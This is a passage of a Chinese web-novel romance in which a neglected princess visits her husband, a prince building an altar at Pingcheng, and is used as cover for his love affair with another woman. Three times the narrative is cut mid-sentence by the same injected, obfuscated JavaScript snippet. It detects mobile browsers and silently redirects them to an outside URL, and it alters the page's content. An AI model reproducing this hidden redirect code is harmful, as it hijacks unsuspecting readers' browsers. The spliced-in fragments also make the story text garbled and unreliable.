“人心都是肉长的,阿远是个好孩子,他只是口是心非。辞穗姑娘,别管他说什么,他一个人在平城,你能去陪他,他一定开心。” 静妃牵起穗穗的手,打下竹帘,正要往厅里去,小桃兴奋的从庭院跑了进来,带来一阵桂花香气, “娘娘,宋婕妤可真厉害,月饼怎能做得这般香甜!” 是穗穗放在灶炉烘烤的月饼,烤好之后,小桃第一时间拿来。 刚出炉的月饼,热气腾腾,色泽丰润,穗穗打眼望去,心下也满意。 月饼源于南楚,北燕做不出这样精细的糕点。桂花甜而不腻的香气从月门外一路飘进春和轩,连洒扫的宫人都忍不住张望。 静妃笑意盈盈,将穗穗的手捂在掌心,赞不绝口, “辞穗姑娘,你带着这些糕点去找阿远,我不信他不爱吃。” 静妃真心诚意的夸赞,让穗穗不禁又生出些希望。 桂花月饼在北燕并不多见,穗穗忍不住想,慕容远哪怕不待见她,但会不会愿意给桂花月饼几分薄面呢? 回府之前,穗穗顺路拐去武馆。 平城一去几月,她先向冯馆主告个假。 穗穗前脚迈进武馆,后脚,冯馆主跟了进来,见着她,猛一拍大腿,“哎呀,可惜,高府那日替女郎君说话的贵人想见女郎君,来武馆寻了好几次了,这才刚走。” 穗穗想起那古怪的人。身份尊贵,却不走正门,要等月黑风高走偏门,定非善事。 北燕朝堂的波澜诡谲不输南楚,穗穗没功夫细究,躬手向馆主作揖, “家夫在外做工,叫我中秋过去团聚,我来向馆主告假。” 冯馆主脚步一僵,“你已经成家了?” 无怪冯馆主如此诧异。北燕成了家的女郎,要用缎帕将乌丝全部束起。穗穗不知道这些习俗,为图方便,还扎着马尾小辫,让人误会了。 见穗穗点头默认,冯馆主感慨着,直道可惜,“高府出面救你那位,着人来了好几次,还给你送了匹马,血统纯正,通体雪白,一看就费了心思。我原想着……原想着……” “罢了,”冯馆主摆摆手,只可惜有缘无分。 他看着穗穗一张稚气未脱的酣甜面庞,又忍不住好奇,“这段时间都只见你一个人操劳,怎么从来没听你提过郎君?你说你要筹钱救母,也没见你家郎君过问一句。” 穗穗一时语塞。慕容远连她的救命之恩都不领情,想指望他救娘亲?那还不如指望天神下凡呢。 冯馆主瞧见穗穗憋屈的模样,心下已然明了,也没再多言。山高路远,他从柜台掏出钱袋子,将月底才结的工钱支了一半给穗穗, “女郎君与冯某共事一场,冯某有几句话提醒女郎君。 我武馆之辈,向来不会被情爱拖累。你这样能干,本无需依附任何人。可为了你家夫君,你放弃了赚钱的机会,结交贵人的机会。最后能得到什么呢? 女郎君,好生思量。” 穗穗面有惭色。她知道,冯馆主所言句句在理。 盛夏是最好的赚钱时间,仅是冯馆主给她结的工钱,就有小千两,还没算从各家主子手上漏下的赏钱。 她居然要放弃这么好的时机,去看望慕容远,连她自己都觉得过分。 可要是不去…… 穗穗想到了初见那晚林地里的俊朗儿郎,想到他领兵出发的模样。她的心里,到底还是放不下 。 春杏比穗穗还要贪心,紧着出发前两日,四处为穗穗搜罗了不少钗环珠翠,绫罗绸缎叠了满满一箱。 这还不够,还准备了各式各样的纱巾披帛和小衣。 穗穗两指捻起欧红芙蓉肚兜时,脸都快熟透了,“安平郡主要与我同去的,你这是做什么。” 春杏理直气壮,“公主才是三王爷名正言顺的婕妤,有何可担心的?该担心的是他们。” 穗穗不知该怎么给春杏讲明白这些爱与不爱的恩恩怨怨,有些烦躁的将小衣披帛都挑了出来, “我只是希望安生过日子。这些事,以后再说吧。” 她无法诉说自己的心绪,她鄙视期待着见面的自己。 她不敢想他,不敢流露出快乐和渴望,那样只会让她觉得对不起娘亲,对不起安平郡主。 出发那天,安平郡主的车轿早早等在城门前。整整一车箱奁,都是捎带给给慕容远的。 羊羔羊奶,虎皮狐绒,装在一只只烫金红匣子里,精致华贵,是上京豪族串门时时兴互送的佳礼。 观之穗穗捎带的糕点月饼,小小的一只粗木篮子,根本拿不出手。 穗穗将食篮抱在怀里,紧紧捏着四角,不好意思松手。 安平郡主看出她的窘迫,笑盈盈的安慰她,“阿远可真有福,娶到了婕妤这样能干的姑娘,能做这么美味的点心。我简直一窍不通,每次都只能偷懒买现成的。与婕妤一比,实在是相差甚远。” 穗穗垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721180|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头,眼泪都快掉下来,“郡主,你能不能,能不能……” 能不能不要这么温柔啊。 这样只会让她更加难过。 ==== 平城秋色盛浓,老树枯藤,寒鸦栖枝,远山一抹苍茫轮廓。 将士在祭坛边搭起临时的营帐,星火点点,炊烟袅袅,围绕其中的高台已经出具雏形。 百级纯金台阶,其上一圈金杯环绕,拱垂天幕。再有半月,将金杯中用以供奉天地的神火架搭好,就能完工。 时间充裕,又是中秋佳节,慕容远给将士们放假三天,此刻,众人聚在营帐后的空地上,说是一起赏月。 莫罕将军白天来找慕容远商量事情,也被将士热情的留了下来。有他在,慕容远手下士兵大胆许多,几杯酒下肚,个个脸红脖子粗,有叫嚷着要肉搏的,吆喝着要赌钱的。 哄闹中,也不知是谁不要命的喊了一句,“今儿是中秋,我们应该让王爷应该送礼物封红包!” 这话就像一盆冰水浇在沸腾的火焰上,人潮瞬间封冻,所有人都沉默下来。 慕容远军威甚重,士兵们等闲不敢招惹他。 此刻,他孤身坐在人群最外面,银辉凉凉,倾洒在他的发梢肩脊。 几个闹事的小娃娃被吓得酒醒,拿乌漆漆的眼眸小心观察着。 慕容远鹰眼斜睨,冷斥一声,“中秋节哪有封红包的道理,我看你们几个小崽子是活腻歪了。” 话虽这么说,到底是取出一大袋银钱,勾手让他们来取。都是没长大的孩子,他不忍在今天还苛责他们。 众人长舒一口气,齐声叫好。篝火摇曳,噼啪炸响,混杂着将士们的欢笑。 有胆子大的,得了便宜还卖乖,“中秋佳节,阖家团圆,王爷这儿就是我的家,讨点喜头不过分。” 慕容远就像吞了只苍蝇,无语极了。莫罕见着他的模样,哈哈大笑着起身告辞, “我就不凑热闹了,我有家,我回去找媳妇讨赏。” 莫罕这人什么都好,就是过于宝贝他家夫人,成日就知道腻歪。慕容远再是一噎,神情都有些狰狞了。 偏生身边小将士都是些不怕死的,围着莫罕赞叹,“将军夫人貌美能干,难怪莫将军一天到晚就想待在府上。” “嫂子上回做的羊羹可真好吃,莫将军别吃独食,也记着我们兄弟几个。” 莫罕一一应下,笑得春风得意,站在人群中,像是胖墩墩的开屏孔雀。一转头,瞥见慕容远幽怨的目光,忍不住开口打趣他, “王爷瞪我作甚,你自个儿不是也刚娶了婕妤吗?找自家媳妇去。” 气得慕容远叉腰挥手,连声喝着“滚滚滚。” 有些人真是不讲武德。自己娶到了心爱的姑娘,恨不能普天同庆,可别人八字还没一撇呢,他总不能真的寄希望于那可恨的小公主吧。 送走莫罕,把剩下的银钱发完,慕容远也没了赏月的心情,正要折身回营帐,却见哨兵喜滋滋的奔来,说是夫人来了。 夫人? 慕容远脚步一顿,以为是莫罕家夫人没等到莫罕,来营地寻人,毕竟这样的事不是一次两次了。 他让手下将来人送回去,正要打帘进营帐,一道甜丝丝的声音突然钻进耳朵, “三爷。” 17.第 17 章 “三爷。” 隔着灼灼火光,那声音细碎娇软,像小奶猫的猫爪,在他耳廓轻轻挠了一下。 慕容远愣神许久,恍惚转身,就见那可恨的小公主已经跳下马车,小步向他跑来。 芙蓉面微扬,脸上是比火光还温暖的笑意。 她身量小,穿着厚重的棉袄襦裙,跌跌撞撞从篝火边跑过时,灰烬碎屑兜了满头,让她看上去很是风尘仆仆。 慕容远的心再是一紧,“你怎么来了?” “中秋节,我来看你。” 穗穗停在两步之外,小脸红彤彤,粉唇一张一合呼着白气。 有脑子灵光的小将士已经反应过来,传出意味深长的哄笑,“难怪王爷不准我们提,婕妤长得这样水灵,若是我,我也担心别人觊觎。” “王爷还说自己没有家室呢,恐怕是担心我们惦记吧。” 北燕人很喜欢拿小姑娘开玩笑,穗穗听得面上红一阵白一阵。 慕容远站在跟前,浓眉紧缩,喉头上下滚动。穗穗很想告诉他,她不是故意要抛头露面、丢人现眼的。 哪晓得,话还没说出口,慕容远漆黑的眼珠一晃,眼底盈出一抹亮色。他径直越过穗穗,阔步往马车边走去。 马车边,是正在归整行李的安平郡主。 穗穗回身看去时,慕容远已经站在安平郡主的身后。 “你怎么来了?”慕容远如是问道,只是语气与方才有着天壤之别。 他自然而然的接过安平郡主手中的行囊,目光流连在安平郡主身上,没有片刻分离,甚至,就连穗穗走近了,他都没有察觉。 焰光猎猎,将士们围在篝火边,穗穗站在将士之前,安静得来,仿佛世界只剩下这场盛大明媚的火光。 王府婕妤亲自带着郡主来找夫君,还要当着所有将士的面,亲眼目睹着两人亲亲我我。 穗穗不知道该以什么心情来面对如此讽刺的画面,或者说,预想过太多次,她心中已经掀不起波澜。 最后,还是安平郡主捏了捏慕容远的手臂,他才意识到还有穗穗的存在。 他挥手屏退所有将士,“这不是五公主该来的地方,本王告诫过你,不要多管闲事。” 和善颜色在他转身的瞬间尽数褪下。看见穗穗和安平郡主同时出现,他的第一反应,是戒备的将安平郡主护在身后,好似穗穗是什么豺狼虎豹,生怕她伤害安平郡主分毫。 穗穗含上一抹凄凉的笑意,她有时真的挺佩服慕容远的,爱憎竟能如此分明。 安平郡主轻推开慕容远,“是我请宋婕妤带我来的。” 她从慕容远身后走到穗穗身边,解释道,“皇后点名让婕妤来平城,婕妤原是拒绝的,是我想来又苦于没有名目,这才劳动婕妤。” 慕容远拧眉斜睨着穗穗,乌瞳暗沉毫无光亮。听见心上人想来看望自己,到底还是让他无法发怒,半晌,哼出一声鼻音, “既然郡主已经平安到达,五公主可以……” “我这就回去。”穗穗抢过他的话。 她可不想做话本子里被那些被夫君踹出门的怨妇,要走她也要自己光明正大的走。 安平郡主温和的牵起穗穗,“你是阿远的婕妤,要回也是回阿远的行宫。平城秋景甚美,宋婕妤应该留下来好好看看。” 穗穗看了眼慕容远,见他勉为其难的点头默许,她才意识到, 她还不能回去。 牛郎织女的鹊桥一年只用当一天,可她不行,安平郡主想留在慕容远身边,她就得继续留在平城,给两人当挡箭牌。 她的命,可真苦。 在春杏满目心疼的注视下,穗穗坐回马车。 凉夜凐灭篝火。 车帘放下前,残存余温的秋风将慕容远的声音送到穗穗的耳边,那是一声极尽缱绻的,“小风”。 憋了一晚上的泪,就这样无声地落了下来。 春杏怎么也没想过重逢的场面会这样难堪,一对眼儿哀哀戚戚望着她,没一会儿就红了鼻子。 回到行宫,春杏一边咒骂,一边收拾行李,看见那寄予厚望的闺房秘物时,目光一怔,气得脸蛋都绿了,撒气般将箱子摔得乒乓作响。 穗穗瞧她一眼,径自走去窗边。 夜深人静,偌大的行宫,秀灯一盏盏熄灭,留下屋檐飞阙的漆黑剪影,宛若牢笼。 穗穗倚在窗框上,举目远眺,无声无息,一动不动。目光的尽头,天边那座祭坛,凐灭灯火,该是早已安然入梦。 直到将至子夜时,行宫外传来几声马蹄,轻微的盔甲碰撞声音,穗穗一个激灵,像是从梦魇中惊醒。 她的眼底瞬间升起亮光,探身往院外张望。 但可惜,来人不是慕容远,是从营帐回来的换班的暗卫。 “王爷呢?”穗穗忍不住叫住他。 暗卫恭敬守在院墙边,告诉穗穗,“王爷平常都不会回行宫,婕妤安心,我替婕妤守门。” 他见穗穗眼巴巴的望着宫门,好心宽慰她,“宋婕妤的月饼和糕点很受欢迎,王爷都吃光了。” “好。” 穗穗勉强笑了笑。哪怕只是喜欢她的月饼,她也应该感到开心。 春杏擦净泪来到穗穗身边,忍不住问她,“公主如此上心,方才就应该留在祭坛。亲自陪着王爷吃月饼赏月,岂不是更好?” 穗穗如何不想呢?问题是,慕容远能答应吗。 “慕容远不希望和我有任何瓜葛,不想大家知道我的存在,我最好不要抛头露面。” 穗穗关上窗户,走回床榻,打算就寝。 春杏心思单纯,火气憋不住,“但那些月饼可是公主亲手做的,如今倒是便宜了别人。” 看着春杏酸溜溜的样子,穗穗哀叹一声,她如何不知道呢?她亲手做的月饼,怕是成了慕容远和别的姑娘爱情的见证。 穗穗努力勾起唇角,“没关系的春杏,是我霸占他夫人的位置在先,我心中愧疚得很,要是做的这些能够弥补,也算将功补过。” 只是,理智如此的清醒告诫着自己,心底到底还是忍不住泛酸。 能怎么办呢?她做不到像话本子里的怨妇那样攀扯哀求,也不可能捅到皇后娘娘面前要求主持公道。她从生下来就不受待见,如今不过是多了慕容远一个罢了。 穗穗拍拍春杏哭花的小脸,“睡吧,明儿个我们上街逛逛,还是头次来平城呢。” 春杏咽着泪意,替她掖好背角,打下床帘,正要熄灯,院外突然传来男子的脚步声。 举在春杏手里的烛光晃了晃,穗穗一颗心都提到嗓子眼。行宫守备不严,大晚上的可别有什么好歹。 主仆两不安的对视一眼,却听来人隔着很远便主动开口,“是我。” 慕容远的声音传到耳朵,穗穗一个鲤鱼打挺,趿着绣鞋,两步推开窗,“三爷怎么回来了?” 慕容远站在廊檐外的花坛边,被她问得明显语塞。 穗穗真想打自己一顿。她这话说的,这是慕容远的行宫,他不回来,还能去哪儿? “因为方才暗卫说……说三爷寻常都不回来。” “嗯,”慕容远没有否认,只简单解释说,“不过,今天是中秋。” 穗穗不明所以的眨了眨眼睛。 慕容远瞧她片刻,见她没有反应,垂头撩起衣袍,两步攀上阶沿,贴近她的窗下。 白玉发冠顶起一轮明月,他的唇角似是勾起了极浅极浅的弧度,“本王给将士们放假三天,有家的都回家了,莫将军也回家了。” 回家?穗穗轻轻蹙眉,像是明白了什么,“所以,安平郡主也住到行宫来了?” 不知为何,声音落下时,穗穗感觉身边气压骤然低了几分。 “没有,”慕容远极不自然的将脸侧了过去,“穆家在平城有别馆,郡主去别馆了。” “这个时辰,估计已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788571|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经睡下了。”穗穗甚至颇为自然的接了一句,话音落下,她才猛然意识到什么。 安平郡主不在行宫,慕容远回到这里,除了是因为她,还能为谁呢? 穗穗当然不会傻到去幻想自己在慕容远心中的分量,她做幌子带安平郡主来平城,慕容远感激她,愿意给她这位婕妤几分薄面罢了。 深秋的夜像淬了冰一样寒凉,穗穗尴尬得头皮发麻, “安平郡主的事……” 穗穗顿了顿。既然说出口了,她索性深吸一口气,究极正色的看向慕容远, “安平郡主的事,我向三爷道歉。我不知道她的存在,一意孤行要和三爷和亲,给你们造成困扰,是我不对。 像这次这种当幌子的事情,只要是我能帮忙的,我一定尽力帮你们。” 慕容远转回面庞,圆月在他眼眸里沉下,他看向穗穗的目光逐渐幽暗。 他倒是没和穗穗客气,“嗯”了一声,突然道,“月饼味道不错。” 穗穗轻轻耸动鼻尖,叫他这么一提,她确实闻到了极浅的桂花香气。 屋内染了炭火,温热的风撩动着,香气飘摇,像是从他袖摆传出的,又像是萦绕在他的指尖。 穗穗不敢深想,很快就俏红了耳根,垂下玉面。 慕容远原想收拾干净气味再来见她的,可他就像被毛线团缠绕上的笨拙大猫,怎么都除不去萦绕的桂花香。 此刻,娇人芙蓉俏面,月光下眼尾一抹殷红,煞是好看。慕容远索性大大方方拂了拂袖摆,坦然一笑, “安平郡主说是五公主亲手做的,辛苦你了。” 穗穗不敢相信,这么温柔的话会出自慕容远。她仰头看他,看见一张含笑脸时,一切都被抛在脑后,心跳完全淹没她细如蚊蝇的嗓音,“三爷喜欢就好。” 慕容远笑出了声,“现在五公主知道我的秘密了,我喜欢甜食。” 慕容远悄悄咂摸着唇齿间的余韵,月辉倾洒,清香扑鼻,那是独属于如此良夜,独属于眼前这小公主的桂花香气。 方才讨厌这个味道,此刻,香气要散尽了,他却越来越觉得舍不得。 穗穗就这样,眼睁睁看着他、像是无知无觉一般、将指尖摩挲在唇畔,轻轻的,眷恋的,不舍的。 心里有什么东西松动了,“三爷……” 慕容远恍然回神,赧然一笑,“夜深了,你要休息了吗?” 穗穗摇摇头。月光下的慕容远,丰神俊逸,缱绻温柔。穗穗心中升起一种预感,这可能是她为数不多的、能够放肆霸占慕容远的机会了。 “月色很好,我想出去看看。” 慕容远一如穗穗的预料,在关于安平郡主的事情上,有着超乎寻常的耐心,就连感谢穗穗,也格外有诚意。 他轻声说好,等着穗穗穿衣梳头,尤觉不够,塞给她一只手炉,又给她披上自己的狐绒大氅。然后在春杏欣喜的目光中,领着她往行宫高台走去。 明月高悬于顶,清晖尽洒,将行宫上下染成银光闪闪。五步一楼,十步一阁,廊腰缦回,檐牙高啄。 穗穗没见过白日里的景象,月色下的行宫,在她眼中已经足够壮观,以及,美好。 是的,美好。 天地白茫茫一片,浩渺无边,她和慕容远是这苍茫天地间唯一的存在,是滚滚长河里渺小一粟。 慕容远刻意放慢了脚步,走在半步之外。穗穗注视着地上的两方倒影,悄悄往他身后挪动半寸,让他们的倒影依偎在一起,如此一来,就像是真正夜游赏月的夫妻。 穗穗看着倒影看得出神,不知不觉,已然登上高台。放眼看去时,整座行宫铺陈在脚下,绵延至天边远山。 慕容远不知想到什么,目光含笑,示意她看向中轴线上平平无奇的两排枯树枝, “那是槐树,我刚来平城的时候,是五月,满城槐花开,花瓣细碎洁白,就像……” 就像你一样。 18.第 18 章 这个声音自然而然从慕容远的心里冒了出来。 那时见到槐花盛放,婆娑摇曳,他只觉像小猫挠在心底,让人心软难耐。 不知怎的,如今再次回想,满脑子想的居然都是小公主。 “像什么?”穗穗眨眼等着他的下文。 慕容远悄悄捏紧了握在身后的拳头,“像落雪。所以有五月吹雪一说,是平城一大奇观。” “原来如此,”小公主并没察觉到他的异样,往台阶边靠近两步,攀上就近的枯枝,“五月吹雪,真美。” 她央着他再讲些平城见闻,扬起甜甜笑颜时,他便失去了所有拒绝的力气。 两个人在台阶上坐下,但慕容远其实无甚可讲,“我只有五月在行宫待了几天,后来,如你所知,我一直留在祭坛。” 慕容远是位勤勉称职的好王爷,这一点穗穗从没怀疑过。他想搏功名,她却心疼他。 慕容远不自然的错开穗穗的视线,“我行军多年,没有独处的习惯,和将士们同吃同住,大家心才在一起。” 穗穗点头,“那王爷给我讲讲修祭坛的事情吧,一定很辛苦。” 慕容远挑了眉,“已过四更,五公主难道不困?” “不困。” 穗穗有些心虚的吐了吐舌头。她觉得自己就是个令人鄙夷的、贪心的小偷,理智很清楚眼前人不该属于自己,心底却恨不能攥住所有和他在一起的时光。 后来,是怎么睡去的,穗穗记不太清了。 醒来时,正是晨光乍现。 朝阳衔在远山,流云火红,霞光漫天,整座平城都被镀上金边。 穗穗震撼得长吸一口气,一转头,才见慕容远还睡着。 她的身上披着慕容远的大氅,又裹了一层他的外袍。而他只剩下一身单薄长衫,肩脊笔挺的坐在她身边,供她倚靠。 暖融融的光笼罩他的全身,消融了他面颊的凌厉。他双目微阖,卷翘的睫羽在随风颤动。 难以想象,慕容远有一天居然也能和安宁静谧这个词沾边。穗穗痴痴的看着他,连呼吸都忘记,许久许久,也舍不得打破眼前如梦般的美好。 这样依偎沐浴在同一片霞光之下,就像两人的心也贴在了一起。 温情不过片刻,穗穗不得不面临一个很尴尬的问题。 她从没和慕容远同过房,只在嬷嬷的描述里听过儿郎每天清晨身体的变化,但她没想过会是如此直观骇然。 慕容远又惯爱大刀金马的坐着,薄衫虚虚垂下,根本藏不住。 穗穗身体一僵,撇过头去,一边感叹着,这朝霞可真朝霞啊、这树可真树啊,看着看着,眼风又不由自主斜了过去。 盛世美景,哪儿有眼前人好看。 还没仔细瞧瞧,慕容远突然睁开了眼睛,将她捉个现行。 黑不见底的眼仁残留着些许迷蒙,像是草原上被灌醉的狼,目光凶狠阴戾,只是有些聚不了光。 “那个……那个……”穗穗手足无措起来,不知该怎么解释这种情况并非她的本意。 慕容远倒是平静如初,轻描淡写的垂头看了眼,从她身上取下大氅和外袍,套在自己身上。 “回吧。”他大大方方的站起来,嗓音里透露着刚醒不久的沙哑。 穗穗“哦”了一声,垂头跟在他身后。 解释清楚初见的挑衅之后,慕容远没了那股子凶蛮,一派正儿八经的模样。 晨光铺就在她们脚下,穗穗感觉这事似乎也没那么可怕了,反倒有些局促促。 嬷嬷们之前就告诉过她,这是件极乐极乐之事。听说穗穗要嫁的北燕人,更是直夸她享福,说北燕儿郎体格健硕,腿粗鼻儿挺,个顶个的能干。 穗穗悄悄观察着慕容远的双腿和鼻子,心里有些懊恼,方才为什么没有多看几眼。现在她若是走去同慕容远并排,意图会不会太明显了? 如此乱七八糟的想着,很快就回到寝殿。 寝殿这头知道王爷和婕妤夜游整夜,自是早就做好准备。庭院中恭敬候着两队宫人,抬水的,备餐的,神容举止皆是端庄无比,眼观鼻鼻观心,都像是没瞧见慕容远的异样。 在仆从平静的喜悦中,他们就好像一对晨起散步回来的寻常夫妻。 春杏领在所有人之前,嘴角盈着笑,破天荒友好的向慕容远问了声,“三爷。” “公主,” 春杏小跑到穗穗身边,雀跃着说, “殿里备有热汤,寝衣寝被也已置好。餐食已经吩咐下去,奴守在外面,叫水叫食唤一声就行。” 春杏说到这里,穗穗已经窘迫得耳垂滴血了,春杏尤不满足,凑到她飞快说了一句,“秘籍秘药在床脚那只匣子里,千里迢迢从上京带来,公主一定记得用。” 春杏一贯咋咋呼呼,音量不小,穗穗吓得赶紧捂她嘴巴,余光瞟向走在前面的慕容远。 这人似是轻轻侧头,长目倾探向身后,很快又大步流星往屋里走,一边走一边慢悠悠的扬了扬手,“知道了,你们先下去吧。” 他这是什么意思呢?穗穗知道,慕容远一定听见了春杏的话。可他没有阻止,轻飘飘的模样,是默许吗? 是默许吧。嬷嬷说过,儿郎这种时候,都需要纾解。气氛这样好,他没有理由拒绝她。 穗穗不由自主抓住裙摆,轻纱布料摩擦在掌心,传来丝丝痒意。 那道伟岸的背影就在不远处,她心中万千思绪,脚步颤抖着,一点一点,走进那间卧房。 晨间凉爽的风从对面的窗户吹进来,不疾不徐,将屋内熏的暖香渡到鼻尖。 慕容远站在榻前脱下外袍,他身边是一张拔步床,放下青纱帐,一旁的衣架上垂挂着两套暗色寝衣,入手光洁冰凉。 穗穗深吸一口气,取下其中较为宽大的一套,强作镇定的递给慕容远,“三爷累了一宿,换身衣裳,歇歇吧。” 慕容远目光流连在她的手臂上,突然,一把将她握住。 穗穗差点惊呼出声。此刻站得近了,从这个居高临下的角度,她愈发惊叹于那里的壮观。 灼热鼻息就喷洒她的头顶,握着她的手,骨节宽大,用力得过分,哪怕隔着寝衣,她依然能明显感觉到这人在默默使劲,像是恨不能将她揉碎。 只是这情绪来得凶猛、去得也迅速,不过眨眼慕容远就放开了她,闷闷的“嗯”了一声,折身挑开拔步床的青纱帐。 “不更衣了,本王就歇一会儿。” 他拔掉靴子,和衣卧上床榻,大方袒露着那难消的欲望,眼睛迟缓的眨着,很快陷入梦乡。 穗穗被一个人扔在床边。她愣怔许久,才意识到,从头到尾,慕容远根本无意与她发生什么。他不是默许,他那是根本懒得解释。 穗穗咬了会儿嘴唇,硬着头皮小声开口,“三爷,不如收拾好再睡吧。” 慕容远眼皮沉得掀不开,含糊呢哝着,“别闹,我就眯一小会儿。” 他这声音透着一股无奈,穗穗不由蹙起眉头。 他那里都快炸了,他难道不难受吗?他怎么睡得着? 她折身坐在脚踏上。慕容远睡相很不安稳。哪怕闭着眼,也丝毫没有放松警惕。面颊紧绷着,耳朵不时跳动一下,仿佛任何风吹草动能让他从床上跳起来。 穗穗不明白慕容远为什么要拒绝自己。 她以前看话本子,里面有一个词叫“色衰爱驰”,讲那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788572|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年华老去的娘子,难以依靠容貌讨得郎君欢心。她不老,但她觉得,此刻,这个词特别适合自己。 因为她也妄图用容色留住郎君,却终不得。 即便他已经渴到这种地步,即便她没有任何反对,他也不碰她。 一个男人对一个女人从根本上没有兴趣,还有比这更悲哀的事吗? 穗穗慢慢倚上床沿。日头已经升上晴空,从窗棂缝隙里倾撒到殿里,照亮殿里褪色蒙灰的旧装潢。 方才一同照亮过她和慕容远的阳光,此刻苍白无味。有些美好,实在经不起推敲。 约莫半刻钟后,慕容远在她身后起身,穿好鞋衣,马不停蹄要推门,想了想,又折回另一侧的后窗。 穗穗吃了一惊,“你要去哪儿?” 她咕噜站起身,刚一问出口,就意识到什么。 安平郡主在别馆,慕容远还能去哪儿? 慕容远眼底流露的歉疚,默认了穗穗的猜想。可他光明正大、理直气壮,除了对穗穗的些许心疼外,再无其他表示。 浓烈骄阳在他背后升起,他整个人浸泡在刺眼日光里,就好像,刚刚的温柔面貌就像一场幻觉。 “三爷,收拾干净再走吧。”穗穗轻声叫住他,见他喉结滚动了一下,她几乎用尽全部力气走到他的身边,颤抖着勾住他的腰带。 安静的屋室静得人心里慌张,只剩男人粗沉的呼吸声,撩拨着穗穗最后的理智。 “三爷,” 她抿了抿发干的嘴唇,勾起一双小猫眼儿看向眼前人, “我可以帮你。” 搁在以前,穗穗绝对不会相信,自己会说出这样的话。 谨小慎微了十六年,这是她作为一国公主,作为一位女娘,能做出的最大的妥协。 可惜,她都已经将颜面踩在地下了,慕容远却越发冷静。 若说方才他紊乱的呼吸还能昭示些什么,此刻,他连呼吸都整齐平稳了,一派意味不明的目光逡巡在她的脸上。 他盯着穗穗,突然长臂一展,环在穗穗的腰臀,下一刻,他从穗穗的袖口抽走了一条白巾。 “不劳五公主费心了,我……我……” 他捏了捏白巾,穗穗顿时又羞又窘。 他宁愿用白巾也不碰她,她都低三下四到这种程度,他却宁愿忍着。他这是有多不喜欢她啊。 这个心念一起,穗穗的泪意就忍不住。可她今天已经在慕容远面前把脸都丢尽了,她才不要让他再看她笑话。 她瞪着慕容远,眼泪花花的,其实根本看不清他的神情,只听见他似是欲言又止了半晌,最终选择了避而不谈。只无奈嘱咐道, “五公主好好休息,若是有什么需要……去找惊风。” 轩窗将他的声音隔绝在外,从高台上的温暖安宁,到眼前的冰冷死寂,原来只需要短短片刻。 一瞬间,穗穗感觉浑身的力气被抽干,她颓然仰倒在空空荡荡的床榻上,泪水就这样肆意滚落下来,浸湿冰凉锦被。秋风钻进青纱帐里,如似呜咽。 分明是慕容远先来撩拨她的,他告诉她嗜甜的秘密,陪她秉烛夜游、共赏旭日,甚至,他连白巾都用的是她的贴身私物。 可是,他却用身体明明白白的告诉她,他对她不感兴趣,他做这些时,想的是旁的姑娘。她来到这里的全部目的,就是将旁的姑娘带来他的身边。 她恨慕容远,但她更恨自己。 她恨自己居然曾因为他感到幸福,她恨自己居然对他产生过期待。她恨自己,明知安平郡主的存在,却有那么一瞬,不道德的想要占有他。 今日是她自讨苦吃,以后,她再也不会了。 ?? 19.第 19 章 穗穗留在行宫,等半个月之后慕容远修好祭坛,再一起回京。 安平郡主也留了下来。 平城人都知道,宋婕妤和安平郡主情同姐妹,经常相携同游。 或者,更确切的说,是慕容远去哪儿都要叫上穗穗一起,在他和安平郡主身边,当他们爱情的见证。 每回上街,穗穗碍于身份,只能走在慕容远身边。可慕容远又舍不得冷落安平郡主,也要让她跟在身侧。于是就变成了,威武郎君和窈窕淑女,将娇娇小小的穗穗夹在中间。 三人并排而行,几乎占据整条马路,走到哪儿都是焦点。 畏惧慕容远的威严,周围人不敢明目张胆的打量三人,只敢躲在街沿边、藏在阁楼里,悄悄议论。 成千上万双眼睛,成千上万的声音,穗穗感觉自己就像被罩在渔网下的一尾鱼,甚至做起噩梦,就连在梦里,都逃不出牢笼。 以前在南楚,她可是最守规矩的小姑娘。如今却为了慕容远和他的心上人,受尽流言蜚语。 穗穗很不解,既然慕容远和安平郡主的事已经人尽皆知,又有什么好掩藏的呢?拖上她当挡箭牌,只会让她平白遭人笑话。 她甚至愤愤的想过,与其如此,还不如快些成婚。她做那幽居后宅不受宠的婕妤,也好过如此这般生熬着,胡思乱想。 后来,出行的次数多了,看见慕容远为安平郡主鞍前马后,穗穗才终于想明白。 是为了安平郡主。 他二人还未成婚,慕容远不想安平郡主清白受损,他需要有人在场。 一个男人要是爱上一个女人,只会比女人还细致贴心。他绝对不会像随意撩拨她那样,去对待安平郡主。 慕容远和安平郡主在一起时,远没有平常的威严,像风流少年郎。 他很喜欢平城,经常带着安平郡主和穗穗周游平城近郊,去湖面滑冰,去山顶拜佛。 对于慕容远和安平郡主,这或许是一桩美事,对于穗穗,却无异于受刑。 